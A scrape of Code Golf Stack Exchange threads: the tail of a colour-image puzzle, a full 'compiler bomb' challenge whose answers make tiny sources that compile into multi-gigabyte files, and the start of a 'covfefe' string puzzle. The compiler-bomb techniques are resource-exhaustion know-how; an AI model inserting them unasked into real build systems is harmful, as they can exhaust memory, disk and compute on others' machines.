[](int x) { return x*x; }; int pen = 0; Pixel* p1 = &pixel[pi]; for (auto j : *neighbors[pi]) { Pixel* p2 = &pixel[j]; pen += pow2(p1->r - p2->r) + pow2(p1->g - p2->g) + pow2(p1->b - p2->b); } penalty[pi] = pen / neighbors[pi]->size(); } int getPixelPenalty(const int pi) { if (penalty[pi] == (-1)) { updatePixelPenalty(pi); } return penalty[pi]; } int getPixelNeighborhoodPenalty(const int pi) { int sum = 0; for (auto j : *neighbors[pi]) { sum += getPixelPenalty(j); } return sum; } void iterate() { std::uniform_int_distribution<int> dist(0, width*height - 1); int i = dist(rng); int j = dist(rng); int sumBefore = getPixelNeighborhoodPenalty(i) + getPixelNeighborhoodPenalty(j); int oldPenalty[width*height]; std::copy(std::begin(penalty), std::end(penalty), std::begin(oldPenalty)); pixel[i].swap(pixel[j]); updatePixelNeighborhoodPenalty(i); updatePixelNeighborhoodPenalty(j); int sumAfter = getPixelNeighborhoodPenalty(i) + getPixelNeighborhoodPenalty(j); if (sumAfter > sumBefore) { // undo the change pixel[i].swap(pixel[j]); std::copy(std::begin(oldPenalty), std::end(oldPenalty), std::begin(penalty)); } } }; int main(int argc, char* argv[]) { int seed; if (argc >= 2) { seed = atoi(argv[1]); } else { std::random_device rd; seed = rd(); } std::cout << "seed = " << seed << std::endl; rng.seed(seed); const int numIters = 1000000; const int progressUpdIvl = numIters / 100; Image img; img.shuffle(); for (int i = 0; i < numIters; i++) { img.iterate(); if (i % progressUpdIvl == 0) { std::cout << "\r" << 100 * i / numIters << "%"; std::flush(std::cout); } } std::cout << "\rfinished!" << std::endl; img.writePPM("AllColors2.ppm"); return EXIT_SUCCESS; } ``` Varying the step of neighbors gives different results. This can be tweaked in the function Image::pixelNeighbors(). The code includes examples for four options: (see source) ![example 01](https://i.stack.imgur.com/w6V7b.png) ![example 02](https://i.stack.imgur.com/E7GWQ.png) ![example 03](https://i.stack.imgur.com/7vl41.png) ![example 04](https://i.stack.imgur.com/79jXO.png) *Edit:* another example similar to the fourth one above but with a bigger kernel and more iterations: ![example 05](https://i.stack.imgur.com/PSKyx.png) *One more:* using ``` const int iRad = 7, jRad = 7; auto condition = [](int i, int j) { return (i % 2==0 && j % 2==0); }; ``` and ten million iterations, I got this: ![example 06](https://i.stack.imgur.com/1iTja.png) [Answer] # AWK and friends. ## Look mom! I've shaken the colors away! The 'x' file: ``` BEGIN { N=5 C=2^N print "P3\n"2^(3*N-int(3*N/2))" "2^int(3*N/2)"\n"C-1 for(x=0;x<C;x++) for(y=0;y<C;y++) for(z=0;z<C;z++) print x^4+y^4+z^4"\t"x" "y" "z | "sort -n | cut -f2-" } ``` Run: ``` awk -f x > x.ppm ``` Output: N=5: ![N=5.png](https://i.stack.imgur.com/GLRYW.png) N=6: ![N=6.png](https://i.stack.imgur.com/GOAeR.png) [Answer] Not the most elegant code, but interesting on two counts: Computing the number of colors from the dimensions (as long as the product of dimensions is a power of two), and doing trippy color space stuff: ``` void Main() { var width = 256; var height = 128; var colorCount = Math.Log(width*height,2); var bitsPerChannel = colorCount / 3; var channelValues = Math.Pow(2,bitsPerChannel); var channelStep = (int)(256/channelValues); var colors = new List<Color>(); var m1 = new double[,] {{0.6068909,0.1735011,0.2003480},{0.2989164,0.5865990,0.1144845},{0.00,0.0660957,1.1162243}}; for(var r=0;r<255;r+=channelStep) for(var g=0;g<255;g+=channelStep) for(var b=0;b<255;b+=channelStep) { colors.Add(Color.FromArgb(0,r,g,b)); } var sortedColors = colors.Select((c,i)=> ToLookupTuple(MatrixProduct(m1,new[]{c.R/255d,c.G/255d,c.B/255d}),i)) .Select(t=>new { x = (t.Item1==0 && t.Item2==0 && t.Item3==0) ? 0 : t.Item1/(t.Item1+t.Item2+t.Item3), y = (t.Item1==0 && t.Item2==0 && t.Item3==0) ? 0 :t.Item2/(t.Item1+t.Item2+t.Item3), z = (t.Item1==0 && t.Item2==0 && t.Item3==0) ? 0 :t.Item3/(t.Item1+t.Item2+t.Item3), Y = t.Item2, i = t.Item4 }) .OrderBy(t=>t.x).Select(t=>t.i).ToList(); if(sortedColors.Count != (width*height)) { throw new Exception(string.Format("Some colors fell on the floor: {0}/{1}",sortedColors.Count,(width*height))); } using(var bmp = new Bitmap(width,height,PixelFormat.Format24bppRgb)) { for(var i=0;i<colors.Count;i++) { var y = i % height; var x = i / height; bmp.SetPixel(x,y,colors[sortedColors[i]]); } //bmp.Dump(); //For LINQPad use bmp.Save("output.png"); } } static Tuple<double,double,double,int>ToLookupTuple(double[] t, int index) { return new Tuple<double,double,double,int>(t[0],t[1],t[2],index); } public static double[] MatrixProduct(double[,] matrixA, double[] vectorB) { double[] result=new double[3]; for (int i=0; i<3; ++i) // each row of A for (int k=0; k<3; ++k) result[i]+=matrixA[i,k]*vectorB[k]; return result; } ``` Some interesting variations can be had just by changing the OrderBy clause: x: > > ![enter image description here](https://i.stack.imgur.com/spFVA.png) > > > y: > > ![enter image description here](https://i.stack.imgur.com/oQwri.png) > > > z: > > ![enter image description here](https://i.stack.imgur.com/mWLbo.png) > > > Y: > > ![enter image description here](https://i.stack.imgur.com/B2aLs.png) > > > I wish I could figure out what was causing the odd lines in the first three ]
[Question] [ # Introduction You're probably familiar with [zip bombs](https://en.wikipedia.org/wiki/Zip_bomb), [XML bombs](https://en.wikipedia.org/wiki/Billion_laughs), etc. Put simply, they are (relatively) small files which produce enormous output when interpreted by naïve software. The challenge here is to abuse a compiler in the same way. # Challenge Write some source code which occupies 512 bytes or less and which compiles into a file which occupies the most possible space. Largest output file wins! # Rules OK, so there are a few important clarifications, definitions and restrictions; * The output of the compilation must be an [ELF](https://en.wikipedia.org/wiki/Executable_and_Linkable_Format) file, a Windows Portable Executable (.exe), or virtual bytecode for the JVM or .Net's CLR (other types of virtual bytecode are also likely to be OK if asked for). **Update: Python's .pyc / .pyo output also counts**. * If your language-of-choice can't be compiled directly into one of those formats, transpilation followed by compilation is also allowed (**Update: you can transpile multiple times, just so long as you never use the same language more than once**). * Your source code can consist of multiple files, and even resource files, but the summed size of all these files must not exceed 512 bytes. * You cannot use any other input than your source file(s) and the standard library of your language-of-choice. Static linking standard libraries is OK when it's supported. Specifically, no third party libraries or OS libraries. * It must be possible to invoke your compilation using a command or series of commands. If you require specific flags when compiling, these *count towards your byte limit* (e.g. if your compile line is `gcc bomb.c -o bomb -O3 -lm`, the `-O3 -lm` part (7 bytes) will be counted (note the initial leading space isn't counted). * Preprocessors are permitted *only if* they are a standard compilation option for your language. * The environment is up to you, but in the interests of making this verifiable, please stick to recent (i.e. available) compiler versions and operating systems (and obviously specify which you're using). * It must compile without errors (warnings are OK), and crashing the compiler doesn't count for anything. * What your program actually *does* is irrelevant, though it can't be anything malicious. It doesn't even have to be able to start. # Example 1 The C program ``` main(){return 1;} ``` Compiled with `Apple LLVM version 7.0.2 (clang-700.1.81)` on OS X 10.11 (64-bit): ``` clang bomb.c -o bomb -pg ``` Produces a file of 9228 bytes. The total source size is 17+3 (for the `-pg`) = 20 bytes, which is easily within size limit. # Example 2 The Brainfuck program: ``` ++++++[->++++++++++++<]>.----[--<+++>]<-.+++++++..+++.[--->+<]>-----.-- -[-<+++>]<.---[--->++++<]>-.+++.------.--------.-[---<+>]<.[--->+<]>-. ``` Transpiled with [awib](https://github.com/matslina/awib) to c with: ``` ./awib < bomb.bf > bomb.c ``` Then compiled with `Apple LLVM version 7.0.2 (clang-700.1.81)` on OS X 10.11 (64-bit): ``` clang bomb.c ``` Produces a file of 8464 bytes. The total input here is 143 bytes (since `@lang_c` is the default for awib it didn't need to be added to the source file, and there are no special flags on either command). Also note that in this case, the temporary bomb.c file is 802 bytes, but this counts towards neither the source size nor the output size. # Final Note If an output of more than 4GB is achieved (perhaps if somebody finds a turing complete preprocessor), the competition will be for the *smallest source* which produces a file of at least that size (it's just not practical to test submissions which get *too* big). [Answer] # C, (14 + 15) = 29 byte source, 17,179,875,837 (16 GB) byte executable Thanks to @viraptor for 6 bytes off. Thanks to @hvd for 2 bytes off and executable size x4. This defines the `main` function as a large array and initialises its first element. This causes GCC to store the entire array in the resulting executable. Because this array is bigger than 2GB, we need to provide the `-mcmodel=medium` flag to GCC. The extra 15 bytes are included in the score, as per the rules. ``` main[-1u]={1}; ``` Don't expect this code to do anything nice when run. Compile with: ``` gcc -mcmodel=medium cbomb.c -o cbomb ``` --- It took me a while to get round to testing @hvd's suggestion - and to find a machine with enough juice to handle it. Eventually I found a old non-production RedHat 5.6 VM with 10GB RAM, 12GB swap, and /tmp set to a large local partition. GCC version is 4.1.2. Total compile time about 27 minutes. > > **Due to the CPU and RAM load, I recommend against doing this compile on any remotely production-related machine**. > > > [Answer] # Python 3, 13 byte source, 9,057,900,463 byte (8.5GiB) .pyc-file ``` (1<<19**8,)*2 ``` **Edit**: Changed the code to the version above after I realized the rules say output size beyond 4GiB doesn't matter, and the code for this one is ever so slightly shorter; The previous code - and more importantly the explanation - can be found below. --- # Python 3, 16 byte source, >32TB .pyc-file (if you have enough memory, disk space and patience) ``` (1<<19**8,)*4**7 ``` Explanation: Python 3 does constant folding, and you get big numbers fast with exponentation. The format used by .pyc files stores the length of the integer representation using 4 bytes, though, and in reality the limit seems to be more like `2**31`, so using just exponentation to generate one big number, the limit seems to be generating a 2GB .pyc file from an 8 byte source. (`19**8` is a bit shy of `8*2**31`, so `1<<19**8` has a binary representation just under 2GB; the multiplication by eight is because we want bytes, not bits) However, tuples are also immutable and multiplying a tuple is also constant folded, so we can duplicate that 2GB blob as many times as we want, up to at least `2**31` times, probably. The `4**7` to get to 32TB was chosen just because it was the first exponent I could find that beat the previous 16TB answer. Unfortunately, with the memory I have on my own computer, I could test this only up to a multiplier of 2, ie. `(1<<19**8,)*2`, which generated a 8.5GB file, which I hope demonstrates that the answer is realistic (ie. the file size isn't limited to 2\*\*32=4GB). Also, I have no idea why the file size I got when testing was 8.5GB instead of the 4GB-ish I expected, and the file is big enough that I don't feel like poking around it at the moment. [Answer] # C#, about 1 min to compile, 28MB output binary: ``` class X<A,B,C,D,E>{class Y:X<Y,Y,Y,Y,Y>{Y.Y.Y.Y.Y.Y.Y.Y.Y y;}} ``` Adding more Y's will increase the size exponentially. An explanation by Pharap as per @Odomontois' request: This answer is abusing inheritance and type parameters to create recursion. To understand what's happening, it's easier to first simplify the problem. Consider `class X<A> { class Y : X<Y> { Y y; } }`, which generates the generic class `X<A>`, which has an inner class `Y`. `X<A>.Y` inherits `X<Y>`, hence `X<A>.Y` also has an inner class `Y`, which is then `X<A>.Y.Y`. This then also has an inner class `Y`, and that inner class `Y` has an inner class `Y` etc. This means that you can use scope resolution (`.`) ad infinitum, and every time you use it, the compiler has to deduce another level of inheritance and type parameterisation. By adding additional type parameters, the work the compiler has to do at each stage is further increased. Consider the following cases: In `class X<A> { class Y : X<Y> { Y y;} }` type param `A` has a type of `X<A>.Y`. In `class X<A> { class Y : X<Y> { Y.Y y;} }` type param `A` has a type of `X<X<A>.Y>.Y`. In `class X<A> { class Y : X<Y> { Y.Y.Y y;} }` type param `A` has a type of `X<X<X<A>.Y>.Y>.Y`. In `class X<A,B> { class Y : X<Y,Y> { Y y;} }` type param `A` is `X<A,B>.Y` and `B` is `X<A,B>.Y`. In `class X<A> { class Y : X<Y> { Y.Y y;} }` type param `A` is `X<X<A,B>.Y, X<A,B>.Y>.Y` and `B` is `X<X<A,B>.Y, X<A,B>.Y>.Y`. In `class X<A> { class Y : X<Y> { Y.Y.Y y;} }` type param `A` is `X<X<X<A,B>.Y, X<A,B>.Y>.Y, X<X<A,B>.Y, X<A,B>.Y>.Y>.Y` and `B` is `X<X<X<A,B>.Y, X<A,B>.Y>.Y, X<X<A,B>.Y, X<A,B>.Y>.Y>.Y`. Following this pattern, one can only imagine1 the work the compiler would have to do to to deduce what `A` to `E` are in `Y.Y.Y.Y.Y.Y.Y.Y.Y` in the definition `class X<A,B,C,D,E>{class Y:X<Y,Y,Y,Y,Y>{Y.Y.Y.Y.Y.Y.Y.Y.Y y;}}`. 1 You could figure it out, but you'd need a lot of patience, and intellisense won't help you out here. [Answer] > > If an output of more than 4GB is achieved (perhaps if somebody finds a turing complete preprocessor), the competition will be for the smallest source which produces a file of at least that size (it's just not practical to test submissions which get too big). > > > "Template Haskell" allows Haskell code to be generated at compile-time using Haskell, and is hence a turing complete pre-processor. Here's my attempt, parameterised by an arbitrary numerical expression `FOO`: ``` import Language.Haskell.TH;main=print $(ListE .replicate FOO<$>[|0|]) ``` The magic is the code inside the "splice" `$(...)`. This will be executed at compile time, to generate a Haskell AST, which is grafted on to the program's AST in place of the splice. In this case, we make a simple AST representing the literal `0`, we replicate this `FOO` times to make a list, then we use `ListE` from the `Language.Haskell.TH` module to turn this list of ASTs into one big AST, representing the literal `[0, 0, 0, 0, 0, ...]`. The resulting program is equivalent to `main = print [0, 0, 0, ...]` with `FOO` repetitions of `0`. To compile to ELF: ``` $ ghc -XTemplateHaskell big.hs [1 of 1] Compiling Main ( big.hs, big.o ) Linking big ... $ file big big: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /nix/store/mibabdfiaznqaxqiy4bqhj3m9gaj45km-glibc-2.21/lib/ld-linux.so.2, for GNU/Linux 2.6.32, not stripped ``` This weighs in at 83 bytes (66 for the Haskell code and 17 for the `-XTemplateHaskell` argument), plus the length of `FOO`. We can avoid the compiler argument and just compile with `ghc`, but we have to put `{-# LANGUAGE TemplateHaskell#-}` at the beginning, which bumps the code up to 97 bytes. Here are a few example expressions for `FOO`, and the size of the resulting binary: ``` FOO FOO size Total size Binary size ------------------------------------------------- (2^10) 6B 89B 1.1MB (2^15) 6B 89B 3.6MB (2^17) 6B 89B 12MB (2^18) 6B 89B 23MB (2^19) 6B 89B 44MB ``` I ran out of RAM compiling with `(2^20)`. We can also make an infinite list, using `repeat` instead of `replicate FOO`, but that prevents the compiler from halting ;) [Answer] # C++, 250 + 26 = 276 bytes ``` template<int A,int B>struct a{static const int n;}; template<int A,int B>const int a<A,B>::n=a<A-1,a<A,B-1>::n>::n; template<int A>struct a<A,0>{static const int n=a<A-1,1>::n;}; template<int B>struct a<0,B>{static const int n=B+1;}; int h=a<4,2>::n; ``` This is the [Ackermann function](https://en.wikipedia.org/wiki/Ackermann_function) implemented in templates. I'm not able to compile with `h=a<4,2>::n;` on my little (6GB) machine, but I did manage `h=a<3,14>` for a 26M output file. You can tune the constants to hit your platform's limits - see the linked Wikipedia article for guidance. Requires `-g` flag to GCC (because it's all the debug symbols that actually consume any space), and a larger-than-default template depth. My compile line ended up as ``` g++ -ftemplate-depth=999999 -g -c -o 69189.o 69189.cpp ``` ### Platform information ``` g++ (Ubuntu 4.8.2-19ubuntu1) 4.8.2 Linux 3.13.0-46-generic #79-Ubuntu SMP x86_64 GNU/Linux ``` [Answer] Here's my C answer from 2005. Would produce a 16TB binary if you had 16TB RAM (you don't). ``` struct indblock{ uint32_t blocks[4096]; }; struct dindblock { struct indblock blocks[4096]; }; struct tindblock { struct dindblock blocks[4096]; }; struct inode { char data[52]; /* not bothering to retype the details */ struct indblock ind; struct dindblock dint; struct tindblock tind; }; struct inode bbtinode; int main(){} ``` [Answer] # ASM, 61 bytes (29 bytes source, 32 bytes for flags), 4,294,975,320 bytes executable ``` .globl main main: .zero 1<<32 ``` Compile with `gcc the_file.s -mcmodel=large -Wl,-fuse-ld=gold` [Answer] # Plain old C preprocessor: 214 bytes input, 5MB output Inspired by my real-world preprocessor fail [here](https://stackoverflow.com/questions/652788/what-is-the-worst-real-world-macros-pre-processor-abuse-youve-ever-come-across/1594500#1594500). ``` #define A B+B+B+B+B+B+B+B+B+B #define B C+C+C+C+C+C+C+C+C+C #define C D+D+D+D+D+D+D+D+D+D #define D E+E+E+E+E+E+E+E+E+E #define E F+F+F+F+F+F+F+F+F+F #define F x+x+x+x+x+x+x+x+x+x int main(void) { int x, y = A; } ``` Experiments show that each level of `#define`s will (as expected) make the output approximately ten times larger. But since this example took more than an hour to compile, I never went on to "G". [Answer] # Java, 450 + 22 = 472 bytes source, ~1GB class file ## B.java (golfed version, warning during compilation) ``` import javax.annotation.processing.*;@SupportedAnnotationTypes("java.lang.Override")public class B extends AbstractProcessor{@Override public boolean process(java.util.Set a,RoundEnvironment r){if(a.size()>0){try(java.io.Writer w=processingEnv.getFiler().createSourceFile("C").openWriter()){w.write("class C{int ");for(int i=0;i<16380;++i){for(int j=0;j<65500;++j){w.write("i");}w.write(i+";int ");}w.write("i;}");}catch(Exception e){}}return true;}} ``` ## B.java (ungolfed version) ``` import java.io.Writer; import java.util.Set; import javax.annotation.processing.AbstractProcessor; import javax.annotation.processing.RoundEnvironment; import javax.annotation.processing.SupportedAnnotationTypes; import javax.annotation.processing.SupportedSourceVersion; import javax.lang.model.SourceVersion; import javax.lang.model.element.TypeElement; @SupportedAnnotationTypes("java.lang.Override") @SupportedSourceVersion(SourceVersion.RELEASE_8) public class B extends AbstractProcessor { @Override public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) { if (annotations.size() > 0) { try (Writer writer = processingEnv.getFiler().createSourceFile("C").openWriter()) { writer.write("class C{int "); for (int i = 0; i < 16380; ++i) { for (int j = 0; j < 65500; ++j) { writer.write("i"); } writer.write(i + ";int "); } writer.write("i;}"); } catch (Exception e) { } } return true; } } ``` ## Compilation ``` javac B.java javac -J-Xmx16G -processor B B.java ``` ## Explanation This bomb uses Annotation Processors. It needs 2 compile passes. The first pass builds the processor class `B`. During the second pass the processor creates a new source file `C.java`, and compiles it to a `C.class` with a size of `1,073,141,162` bytes. There are several limitations when trying to create a big class file: * Creating identifiers longer than about 64k results in: `error: UTF8 representation for string "iiiiiiiiiiiiiiiiiiii..." is too long for the constant pool`. * Creating more than about 64k variables/functions results in: `error: too many constants` * There is also a limit of about 64k for the code size of a function. * There seems to be a general limit (bug?) in the java compiler of about 1GB for the `.class` file. If I increase `16380` to `16390` in the above code the compiler never returns. * There is also a limit of about 1GB for the `.java` file. Increasing `16380` to `16400` in the above code results in: `An exception has occurred in the compiler (1.8.0_66). Please file a bug ...` followed by a `java.lang.IllegalArgumentException`. [Answer] ## C, 26 byte source, 2,139,103,367 byte output, valid program ``` const main[255<<21]={195}; ``` Compiled using: `gcc cbomb.c -o cbomb` (gcc version 4.6.3, Ubuntu 12.04, ~77 seconds) I thought I'd try to see how large I could make a valid program without using any command line options. I got the idea from this answer: <https://codegolf.stackexchange.com/a/69193/44946> by Digital Trauma. See the comments there as to why this compiles. How it works: The `const` removes the write flag from the pages in the segment, so main can be executed. The `195` is the Intel machine code for a return. And since the Intel architecture is little-endian, this is the first byte. The program will exit with whatever the start up code put in the eax register, likely 0. It's only about 2 gig because the linker is using 32 bit signed values for offsets. It's 8 meg smaller than 2 gig because the compiler/linker needs some space to work and this is the largest I could get it without linker errors - ymmv. [Answer] # [Boo](https://github.com/boo-lang/boo), 71 bytes. Compile time: 9 minutes. 134,222,236 byte executable ``` macro R(e as int): for i in range(2**e):yield R.Body x = 0 R 25:++x ``` Uses a macro `R` (for Repeat) to cause the compiler to multiply the increment statement an arbitrary number of times. No special compiler flags are needed; simply save the file as `bomb.boo` and invoke the compiler with `booc bomb.boo` to build it. [Answer] # [Kotlin](https://kotlinlang.org/), 90 bytes source, 177416 bytes (173 KB) compiled JVM binary ``` inline fun a(x:(Int)->Any){x(0);x(1)} fun b()=a{a{a{a{a{a{a{a{a{a{a{println(it)}}}}}}}}}}} ``` Technically, you could make this even longer by nesting the expression further. However, the compiler crashes with a `StackOverflow` error if you increase the recursion. [Answer] # C++, 214 bytes (no special compile options needed) ``` #define Z struct X #define T template<int N T,int M=N>Z;struct Y{static int f(){return 0;}};T>Z<N,0>:Y{};T>Z<0,N>:Y{};T,int M>Z{static int f(){static int x[99999]={X<N-1,M>::f()+X<N,M-1>::f()};}};int x=X<80>::f(); ``` It's a fairly straightforward two-dimensional template recursion (recursion depth goes as the square-root of total templates emitted, so won't exceed platform limits), with a small amount of static data in each one. Generated object file with `g++ 4.9.3 x86_64-pc-cygwin` is 2567355421 bytes (2.4GiB). Increasing the initial value above 80 breaks the cygwin gcc assembler (too many segments). Also, `99999` can be replaced by `9<<19` or similar for increased size without changing the source code... but I don't think I need to use any more disk space than I already am ;) [Answer] # Scala - 70 byte source, 22980842 byte result (after jar) ``` import scala.{specialized => s} class X[@s A, @s B, @s C, @s D, @s E] ``` This produces 95 (about 59,000) specialized class files, which pack into a jar of about 23 MB. You can in principle keep going if you have a filesystem that can handle that many files and enough memory. (If the jar command must be included, it's 82 bytes.) [Answer] ## C, 284 bytes + 2 for the `-c` in `gcc bomb.c -o bomb.o -c`; output: 2 147 484 052 bytes ``` #define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 #define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a #define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b #define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c #define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d #define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e __int128 x[]={f,f,f,f,f,f,f,f}; ``` [Answer] # [Julia](http://julialang.org/), 22 bytes (in memory) ``` 0:9^9 .|>i->@eval 2^$i ``` [Try it online!](https://tio.run/##jcUxDsIwDADAr3RgaAcs0i0MFeIbCCqrdZCRm0S1Cy3i7@EDDCx3j0UY3VrK4ei9r@DT8b470ROlam87LiNrFtxq2zKlUJ9RCYSNZpQ@p1cDESeCyWCkoBBptX8ISxxAMw2Mwm80TlEB57u7uOvPm/IF "Julia 1.0 – Try It Online") It's quite easy to make a compilation bomb in Julia, it can easily happen accidentally. Here we use the fact that `a^i` has some trickery when `i` is a litteral integer, that allows `a^2` to be turned into `a*a`, and `a^-1` into `inv(a)`. It means that there is a new compiled method of `litteral_pow` being compiled for each `i`. I'm pretty sure this would be at least 4GB but I don't know how to check it. This is only compiled in memory and not saved in a file though # [Julia](http://julialang.org/), 114 bytes (output in a `.ji` file) ``` using Pkg pkg"generate A" write("A/src/A.jl","module A !(::Val{x}) where x=x .!Val.(1:9^9)end") pkg"dev A" using A ``` [(can't) Try it online!](https://tio.run/##yyrNyUw0rPj/v7Q4My9dISA7nasgO10pPTUvtSixJFXBUYmrvCizJFVDyVG/uChZ31EvK0dJRyk3P6U0ByjLpahhZRWWmFNdUaupUJ6RWpSqUGFbwaWnCBTT0zC0soyz1EzNS1HSBJuakloGMhBileP//wA "Julia 1.0 – Try It Online") [Try `A` online!](https://tio.run/##Hci7DsIgFADQvV9BN1huZITEoT/hYhxuykUxvFIgpRq/HY3TSc6zeYeyjxGSaZ7YMs1c6wv6d/8Itj9oI9bPfYL5d8BPWiklKJphXMkeD16PTMnyBfQsIGIgCBUM2QK2xRVKptWhdy@sLsUCuN3lVd7@ivEF "Julia 1.0 – Try It Online") To save compiled code to a file, the function must be in a package, therefore we create a package `A` that has the culprit (the function `!`). `Val(i)` is of type `Val{i}`, so a new method is compiled for each `i`. The output file will be in `~/.julia/compiled/<version>/A/xxx.ji` In my testing, each additional method adds at least 150 bytes (and growing, 182MB for 1M methods), which means 25M would be enough in Julia 1.7, +2 bytes because `pkg"dev ./A"` is needed # [Julia](http://julialang.org/), 117 bytes (without writing files) this is basically the same as the above, but with the files already there. This is slightly longer because of the uuid needed in `Project.toml` (this is taken care of in `pkg"generate A"`) **file structure** ``` A ├── src │ └── A.jl ├── Project.toml └── a.jl ``` **Project.toml**, 52 bytes ``` name="A" uuid="8945f399-ba5e-44d3-9e17-ab2f7e467331" ``` **src/A.jl**, 47 bytes ``` module A !(::Val{x}) where x=x .!Val.(0:9^9)end ``` [Try it online!](https://tio.run/##Hci7DsIgFADQvV9BN1huZITEoT/hYhxuykUxvFIgpRq/HY3TSc6zeYeyjxGSaZ7YMs1c6wv6d/8Itj9oI9bPfYL5d8BPWiklKJphXMkeD16PTMnyBfQsIGIgCBUM2QK2xRVKptWhdy@sLsUCuN3lVd7@ivEF "Julia 1.0 – Try It Online") **a.jl**, 7 bytes ``` using A ``` **command line options** (in the `A` folder), +11 bytes ``` julia --project=. a.jl ``` [Answer] # [Myxal](https://github.com/Vyxal/Myxal) 0.7.1, 46 source bytes + 2 bytes flag = 48 bytes, 2.042 MB compiled ``` ~~~~~~~y¢aaaa¢bbbb¢cccc¢dddd¢eeee¢ffff¢gggg¢hh ``` Simple node alias recursion bomb. Adding more aliases make the JVM complain of a too large main method. ``` ~~~~~~~y # A bunch of filter modifiers on the element 'y' ¢a # Alias that to 'a' aaa¢b # 3 'a's = 'b' and so on... bbb¢c ccc¢d ddd¢e eee¢f fff¢g ggg¢h h # Run that final 'h' ``` Compiled with the `-O` flag to disable optimization, which also disables shrinking for some reason. [Answer] # C, 54 bytes, ridiculously large executable ``` #include <inttypes.h> uint64_t main[(uint64_t)~0]={~0}; ``` Not exactly *original*, but much more devastating. ### Inline but not portable version ``` unsigned long long main[~0ull]={~0}; ``` I am NOT going to sacrifice my laptop just for this. ### Explanation `uint64_t`, `unsigned long long`, they're both unsigned 64-bit integers. The tilde (`~`) is the bitwise NOT operator in C (it flips the bits of a value). `(uint64_t)0` is `0000000000000000000000000000000000000000000000000000000000000000` in binary. By applying the bitwise NOT operator, we get a... big number (\$2^{64}-1\$). ### Credits Big thanks to user Digital Trauma for his original [implementation](https://codegolf.stackexchange.com/a/69193/108497). This answer is really just an expansion from that. [Answer] # Swift for wasm, 7 byte source, 6326162 byte (6.3MB) wasm file Not winning, but I'm adding this answer for its sheer absurdity: ``` print() ``` The Swift compiler does almost no dead code stripping (at least when compiling for wasm), so you get the entire standard library. The arguments to the print statement, any loops or recursion I added, etc barely seemed to matter. However, removing the print statement entirely shrunk the code size by a noticeable amount. For reference, I used the wasm file generated by <https://swiftwasm.org/>, which seems to be using Swift 5.6 at the time of writing. [Answer] # Boo, way more than you can expect from this ``` macro R(e as int):for i in range(9**e):yield R.Body x = 0 R 99:++x ``` [Answer] # [Rust](https://www.rust-lang.org), 42 bytes, 1.31 GB executable ``` fn main(){print!("{:?}",[0u8;9999999999])} ``` Does not require any specific compilation flags, you can just compile with `rustc cbomb.rs`. Arrays of the format `[x; s]` where `x` is `Copy` and `s` has type `usize` and both have a value known at compile time are constructed during compilation and embedded in the binary, though the final executable is smaller than I would expect from this and I do not know what mechanism does that. I couldn't make the size much larger than this on my laptop without LLVM or the linker crashing from non-language limitations. # [Rust](https://www.rust-lang.org), 42 bytes, 18(?) EB executable (on a 64-bit system) ``` fn main(){print!("{:?}",[0u8;usize::MAX])} ``` The array would have a size of 18 EB, but the final executable would probably be smaller. I can't afford this much RAM and storage space, so I haven't been able to test this. Maybe you can if you are in the future. [Answer] PHP 7.1: ``` const X="x",Y=X.X.X.X.X.X.X.X,Z=Y.Y.Y.Y.Y.Y.Y.Y,A=Z.Z.Z.Z.Z.Z.Z.Z,B=A.A.A.A.A.A.A.A,C=B.B.B.B.B.B.B.B,D=C.C.C.C.C.C.C.C,E=D.D.D.D.D.D.D.D,F=E.E.E.E.E.E.E.E,G=F.F.F.F.F.F.F.F; ``` `.` is the concatenation operator, and PHP's compiler will try to do constant folding where possible, so it will construct a huge string and store it in PHP's internal bytecode. (I think you can get this written to a file with newer versions.) This is only as efficient as a classic XML entity bomb unfortunately. You'd need a few more repetitions to get to the gigabyte range. The interesting part is that by default the worst that'll happen is seeing an error like: ``` Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 50331680 bytes) in Command line code on line 1 ``` PHP's web-orientedness means it has a memory limit by default! [Answer] **Dlang** (ldc compiler) command to build `ldc -c t.d` GBS is count of gigabytes; code of t.d: ``` import std; enum GBS = 1; void main(){ static foreach(i; 0..2* GBS){ mixin(text(q{static immutable a}, i,q{ = uint.max.BigInt << uint.max;})); mixin(text(q{a}, i, q{.writeln;})); } } ``` [![Result of compiling](https://i.stack.imgur.com/umLHN.png)](https://i.stack.imgur.com/umLHN.png) ]
[Question] [ In this challenge, you must take a string matching the regex `^[a-zA-Z]+$` or whatever is reasonable (you don't have to consider uppercase or lowercase letters if you want) (you may assume the string is long enough, and has the right structure for all the operations), and output another string, produced similarly to word at the end of a recent dadaist tweet by the POTUS (`"Despite the constant negative press covfefe"`). ## How to covfefify a string: ### First, get the first sound group (made up terminology). How do you do this? Well: * Find the first vowel (`y` is also a vowel) ``` v creation ``` * Find the first consonant after that ``` v creation ``` * Remove the rest of the string ``` creat ``` That is your first sound group. ### Next step: Get the last consonant of the sound group ``` t ``` and replace it with the voiced or voiceless version. To do this, find the letter in this table. Replace with the letter given (which may be the same letter) ``` b: p c: g d: t f: v g: k h: h j: j k: g l: l m: m n: n p: b q: q r: r s: z t: d v: f w: w x: x z: s ``` so, we get ``` d ``` Then, take the next vowel after that consonant. You can assume that this consonant is not at the end of the string. Join these two together, then repeat it twice: ``` didi ``` Concatenate this to the first sound group: ``` creatdidi ``` You're done: the string is covfefified, and you can now output it. Test cases: ``` coverage: covfefe example: exxaxa programming: progkaka (the a is the first vowel after the g, even though it is not immediately after) code: codtete president: preszizi ``` This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so please make your program as short as possible! [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~58~~ 57 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` <TḢị e€Øyµ¬TĖEÐḟḢṪ;ç¥T ḣÇḢ⁸ÇịµḢØYiị“ßȷ%Hẹrȧq’œ?ØY¤⁾cgy;ẋ2 ``` A full program that accepts a list of lowercase characters and prints the result. **[Try it 